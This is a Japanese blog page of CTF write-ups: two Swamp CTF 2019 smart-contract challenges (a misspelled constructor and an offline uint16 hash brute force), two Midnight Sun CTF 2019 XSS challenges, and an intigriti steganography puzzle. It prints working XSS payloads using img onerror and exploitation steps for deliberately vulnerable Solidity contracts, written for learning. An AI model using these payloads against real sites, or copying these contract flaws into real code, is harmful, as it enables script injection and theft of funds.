teppay’s log

*について書きます

Swamp CTF2019 Writeup

はじめに

  • 就活やらなんやらが落ち着いたのでひっさしぶりにCTFをやった Part 2
  • スマートコントラクト問を初めてやった?けど楽しかった
  • もう一個も脆弱な部分はわかったけど解けないのがあって悔しい
  • スマートコントラクト問は簡単なのでも意外とSolve数が少なかったので狙い目かなと思った.

Writeup

Multi-Owner Contract [Smart Contract]

pragma solidity ^0.4.24;

contract Ownable {

    event OwnerAdded(address);
    event OwnerRemoved(address);

    address public implementation;
    mapping (address => bool) public owners;

    modifier onlyOwner() {
        require(owners[msg.sender], "Must be an owner to call this function");
        _;
    }

    /** Only called when contract is instantiated
      */
    function contructor() public payable {
        require(msg.value == 0.5 ether, "Must send 0.5 Ether");
        owners[msg.sender] = true;
    }

    /** Add an owner to the owners list
     *  Only allow owners to add other owners
     */
    function addOwner(address _owner) public onlyOwner { 
        owners[_owner] = true;
        emit OwnerAdded(_owner);
    }

    /** Remove another owner
     *  Only allow owners to remove other owners
     */
    function removeOwner(address _owner) public onlyOwner { 
        owners[_owner] = false;
        emit OwnerRemoved(_owner);
    }

    /** Remove all owners mapping and relinquish control of contract*
     */
    function renounceOwnership() public {
        assembly {
            sstore(owners_offset, 0x0)
        }
    }
    
    /** CTF helper function*
     *  Used to clean up contract and return funds*
     */
    function killContract() public onlyOwner {
        selfdestruct(msg.sender);
    }

    /** CTF helper function*
     *  Used to check if challenge is complete*
     */
    function isComplete() public view returns(bool) {
        return owners[msg.sender];
    }

}

このCTFには複数のSmart Contract問があって,すべての問題においてContractをisComplete()trueを返す状態にすることがFlagの条件.

この問題は簡単でconstructor()の書き方が間違っている. Solidityにおいて,constructorメソッドは特殊メソッドでコントラクトがDeployされる際に1度のみ実行され(通常のコンストラクタと同様),それ以降実行することができない. コンストラクタはよくそのコントラクトのownerを指定する処理が書かれるなど重要なメソッドであるため,通常のメソッドと違い以下のように特殊な書き方をする.

constructor() public{
     /**/         
}

ただしこのコントラクトでは書き方が間違っているため通常のメソッドと同様に実行が可能である. これを実行することで自分のアカウントをownerに追加できるためisCompleteの条件を満たすことができる flag{3v3ryb0dy5_hum4n_r34d_c10s31y}

Hash Slinging Slasher [Smart Contract]

pragma solidity ^0.4.24;

contract HashSlingingSlasher {
    
    bytes32 answer = 0xed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1;
    
    constructor() public payable {
        require(msg.value == 0.5 ether, "Must send 0.5 Ether");        
    }

    /** Guess the hashed number. Refunds ether if guessed correctly*
     */
    function guess(uint16 number) public payable {
        require(msg.value == 0.25 ether, "Must send 0.25 Ether");
        if(keccak256(abi.encodePacked(number)) == answer) {
            msg.sender.transfer(address(this).balance);
        }
    }
    
    /** Returns balance of this contract*
     */
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }

    /** CTF helper function*
     *  Used to check if challenge is complete*
     */
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
    
}

このコントラクトはハッシュ当てゲーム? SHA3でハッシュ化したときにソースコードにハードコーディングされているハッシュ値と等しくなる数値を入力できればクリア.

このコントラクトではguessメソッドで数値を入力するわけだが,このメソッドを実行するためには1回につき0.25etherかかるため,一見ブルートフォース対策がされているように見える.しかしハッシュ値はすでに知っているためいわゆるオフライン攻撃が可能になっている.またguessメソッドの入力値はuint16であるためたかだか65536(=216)回の試行で答えを求めることができる.

以下のスクリプトで入力値を求めると13337であるということがわかったのでguessメソッドを実行してあげれば終わり

from web3 import Web3
for i in range(2**16):
    if Web3.sha3(i).hex() == '0xed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1':
        print(i)

flag{0n_th3_b10ckch41n_3v3ryth1ng_15_pub1ic}

Midnight Sun CTF 2019 Writeup

はじめに

  • 就活やらなんやらが落ち着いたのでひっさしぶりにCTFをやった
  • 簡単なのしか解けなかったけど楽しかった

Writeup

Marcodowno[Web]

こんなページでユーザの操作なしにalert(1)をPopできるURLを見つけて提出しなさいという問題.

<head>
<meta charset="UTF-8">
<link rel="stylesheet" href=" [/static/style.css](http://marcodowno-01.play.midnightsunctf.se:3001/static/style.css) " />
<script src=" [https://code.jquery.com/jquery-3.3.1.slim.min.js](https://code.jquery.com/jquery-3.3.1.slim.min.js) "></script>
</head>

<script>
input = decodeURIComponent(location.search.match(/input=([^&#]+)/)[1]);

function markdown(text){
text = text.replace(/[<]/g, '').replace(/----/g,'<hr>').replace(/> ?([^\n]+)/g, '<blockquote>$1</blockquote>').replace(/\*\*([^*]+)\*\*/g, '<b>$1</b>').replace(/__([^_]+)__/g, '<b>$1</b>').replace(/\*([^\s][^*]+)\*/g, '<i>$1</i>').replace(/\* ([^*]+)/g, '<li>$1</li>').replace(/##### ([^#\n]+)/g, '<h5>$1</h5>').replace(/#### ([^#\n]+)/g, '<h4>$1</h4>').replace(/### ([^#\n]+)/g, '<h3>$1</h3>').replace(/## ([^#\n]+)/g, '<h2>$1</h2>').replace(/# ([^#\n]+)/g, '<h1>$1</h1>').replace(/(?<!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '<a href="$1">$1</a>').replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>').replace(/(?<!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '<a href="$2">$1</a>').replace(/`([^`]+)`/g, '<code>$1</code>').replace(/```([^`]+)```/g, '<code>$1</code>').replace(/\n/g, "<br>");
return text;
}

window.onload=function(){
$("#markdown").text(input);
$("#rendered").html(markdown(input));
}

</script>

<h1>Input:</h1><br>
<pre contenteditable id="markdown" class="background-grey"></pre><br>
<br>
<button onclick='$("#rendered").html(markdown($("#markdown").text()))'>Update preview</button>
<hr>
<br>
<h1>Preview:</h1><br>
<div id="rendered" class="rendered background-grey"></div>

このページではJavaScriptのreplaceのみでMarkdownをHTMLに変換してPreviewしている.

シンプルに<script>alert(1)</script>を入力してみたけど,

.replace(/[<]/g, '')

これに引っかかってうまく行かなかった.

imgタグに変換するためのこの部分に着目すると

.replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>')

画像URLの部分は制限が厳しいが,alt属性の方はガバガバなのでここでXSSができる よってペイロード

![aaa" onerror="alert(1)](http://example.com)

よって解答URLは

http://marcodowno-01.play.midnightsunctf.se:3001/markdown?input=![aaa" onerror="alert(1)](http://example.com)

Marcozuckerbergo[Web]

この問題は上の問題におけるMarkdownがmermaid.jsへの入力を指定して好きな図を表示することができるWebアプリケーションで,上の問題と同様にalert(1)を実行するURLを見つける問題.

<head>
<meta charset="UTF-8">
<link rel="stylesheet" href=" [/static/style.css](http://marcozuckerbergo-01.play.midnightsunctf.se:3002/static/style.css) " />
<script src=" [https://code.jquery.com/jquery-3.3.1.slim.min.js](https://code.jquery.com/jquery-3.3.1.slim.min.js) "></script>
<script src=" [https://cdnjs.cloudflare.com/ajax/libs/mermaid/8.0.0/mermaid.min.js](https://cdnjs.cloudflare.com/ajax/libs/mermaid/8.0.0/mermaid.min.js) "></script>
<script>mermaid.initialize({startOnLoad:false});</script>
</head>

<script>
input = decodeURIComponent(location.search.match(/input=([^&#]+)/)[1]);

window.onload=function(){
$("#markdown").text(input);
$("#render").text($("#markdown").text());
mermaid.init(undefined, $("#render"));
}

function rerender(){
try{
$("#render").html();$("#render").removeAttr("data-processed");$("#render").text($("#markdown").text());mermaid.init(undefined, $("#render"));
}catch(x){
$("#render").html("<font id='error' color=red></font>");
$("#error").text(x);
}
}

</script>

<h1>Input:</h1><br>
<pre contenteditable id="markdown" class="background-grey"></pre><br>
<br>
<button onclick='rerender()'>Update preview</button>
<hr>
<h1>Preview:</h1>
<div id="render" class="mermaid"></div>

これはMarcodownoと同様にimgタグを使えば良い 参考にしたサイト→ javascript - How to embed an image in a node with "mermaid.js" - Stack Overflow よってペイロードは以下の通り

graph LR;
Systemstart-->SomeIcon(<img src='http://example.com' onerror='alert`1`'/>)

Find the flag earn swag: intigriti Twitter challenge Writeup

はじめに

  • intigritiというバグバウンティプラットフォームがTwitter上でCTF的なものを開催していたので参加してみた

Write-up

f:id:teppay:20190122145949p:plain

添付された画像

$ foremost DweADlgXgAAehHh.jpg
Processing: DweADlgXgAAehHh.jpg
|foundat=nottheflag.pdfUT
*|

$ cd output/zip/
$ unzip 00000000.zip
$ ls
00000000.zip   nottheflag.pdf

たぶん添付された画像がJPGとPDFのPolyglotのようなものだったんだと思う.

pdfの中身は以下の通り

aHR0cHM6Ly9nby5pbnRpZ3JpdGkuY29tLzA3YjBmTDI0bGttdmE= Source for this cool technique: https://twitter.com/David3141593/status/1058124224798380032

base64

$ echo aHR0cHM6Ly9nby5pbnRpZ3JpdGkuY29tLzA3YjBmTDI0bGttdmE= | base64 -D
https://go.intigriti.com/07b0fL24lkmva

アクセスしたらzipファイルdata.zipが落ちてきた ただしパスワードがかかっており開けない

ツイート

2つめのヒント

200 likes! Here's the next hint: reply, click and look up 言われた通りReplyを送ろうとして,上を見てみた f:id:teppay:20190122145550p:plain

画像を表すURLがあったのでなにも考えずクリック するといかにもなアカウントが出てきた.

f:id:teppay:20190122145740p:plain

元の問題ツイートは,他のアカウントがツイートした画像のリンクをつぶやいたものが,Twitterによって自動で展開されていたものだったことがわかる.

このアカウントのカバー画像?にzipのパスワード発見

F1nDBuGz_

zipの中身

zipを解答すると441この連番が振られたjpgファイルが出てきた f:id:teppay:20190122144818p:plain

それぞれのファイルは白一色か黒一色で,しかも441=2121 つまり2121のQRコードではないかと考えた

QR code

丁寧に番号が振られているので,以下のスクリプトで21*21になるようにつなげて,QRコードを読んでみた

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from PIL import Image
from pyzbar.pyzbar import decode

def main():
    src_imgs = []
    for i in range(441):
        src_imgs.append(Image.open(f'data/1_{str(i+1).zfill(2)}.jpg'))

    src_w = src_imgs[0].width
    src_h = src_imgs[0].height

    dst_img = Image.new('RGB', (src_w*21, src_h*21))

    for i in range(441):
        idx_x = i % 21
        idx_y = int(i / 21)
        x = idx_x * src_w
        y = idx_y * src_h
        dst_img.paste(src_imgs[i], (x,y))

    dst_img.save('qr.jpg')

    data = decode(dst_img)
    print(data[0][0])


if __name__ == '__main__':
    main()

f:id:teppay:20190122145734j:plain

b'FLAG:YOUWINTIGRITI'